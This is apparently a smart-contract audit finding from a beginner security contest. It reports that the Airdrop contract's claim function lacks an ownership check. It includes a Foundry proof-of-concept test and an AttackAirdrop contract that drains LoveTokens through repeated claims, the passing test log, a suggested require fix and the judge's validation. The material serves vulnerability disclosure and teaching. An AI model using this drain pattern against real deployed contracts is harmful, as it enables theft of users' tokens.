Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

LoveToken reward can be claimed by a non-soulmate address in `Airdrop:claim`

Summary

Once the block.timestamp - idToCreationTimestamp(0) is past one day, an uninitialized address can take exploit the absence of access control to claim (LoveToken) rewards and with sufficient time steal all the LoveTokens available in the Airdrop Vault.

Vulnerability Details

Proof of Code:

In your foundry test suite, set up your Test based contract with the functions below:

Code
function setUp() public {
airdropVaultContract = new Vault();
stakingVaultContract = new Vault();
soulmateContract = new Soulmate();
loveTokenContract = new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVaultContract), address(stakingVaultContract));
airdropContract = new Airdrop(ILoveToken(address(loveTokenContract)), ISoulmate(address(soulmateContract)), IVault(address(airdropVaultContract)));
// let's initialize vault
airdropVaultContract.initVault(ILoveToken(address(loveTokenContract)), address(airdropContract));
}
function setUpSoulmates() public {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
assertEq(soulmateContract.soulmateOf(soulmate1), soulmate2);
}
function testNonSoulmateCanClaimUnclaimedSoulmateAirdrop() public {
setUpSoulmates();
address notASoulmate = makeAddr("notASoulmate");
vm.warp(airdropContract.daysInSecond() + 1);
vm.startPrank(notASoulmate);
uint256 numIterations = loveTokenContract.balanceOf(address(airdropVaultContract)) / (1 * 10 ** 18); // infinite calls
numIterations = 10000;
for (uint256 i=0; i < numIterations; i++) {
AttackAirdrop attackAirdrop = new AttackAirdrop();
attackAirdrop.attack(address(airdropContract), address(loveTokenContract), address(soulmateContract));
}
console.log(loveTokenContract.balanceOf(notASoulmate));
assertEq(loveTokenContract.balanceOf(notASoulmate), numIterations * 10 ** loveTokenContract.decimals());
vm.stopPrank();
}

In the same file containing your initialized test as above, paste this Attack Contract below:

Code
contract AttackAirdrop {
Airdrop airdropContract;
LoveToken lovetokenContract;
Soulmate soulmateContract;
function attack(address _airdropContract, address _loveTokenContract, address _soulmateContract) public {
airdropContract = Airdrop(_airdropContract);
lovetokenContract = LoveToken(_loveTokenContract);
soulmateContract = Soulmate(_soulmateContract);
uint256 numberOfDaysInCouple = block.timestamp - soulmateContract.idToCreationTimestamp(0);
if (numberOfDaysInCouple < airdropContract.daysInSecond()) revert("Owner already claimed!");
airdropContract.claim();
lovetokenContract.transfer(msg.sender, lovetokenContract.balanceOf(address(this)));
}
}
RESULT
Running 1 test for test/ProtocolAudit.t.sol:ProtocolAudit
[PASS] testNonSoulmateCanClaimUnclaimedSoulmateAirdrop() (gas: 3463540675)
Logs:
10000000000000000000000

Impact

LoveToken gets stolen by an unauthorized party and a potential loss of all tokens within the Airdop Vault

Tools Used

  • Foundry

  • Manual Code Review

Recommendations

function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ require(idToOwners[ownerToId[msg.sender]][0] == msg.sender || idToOwners[ownerToId[msg.sender]][1] == msg.sender);
...
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.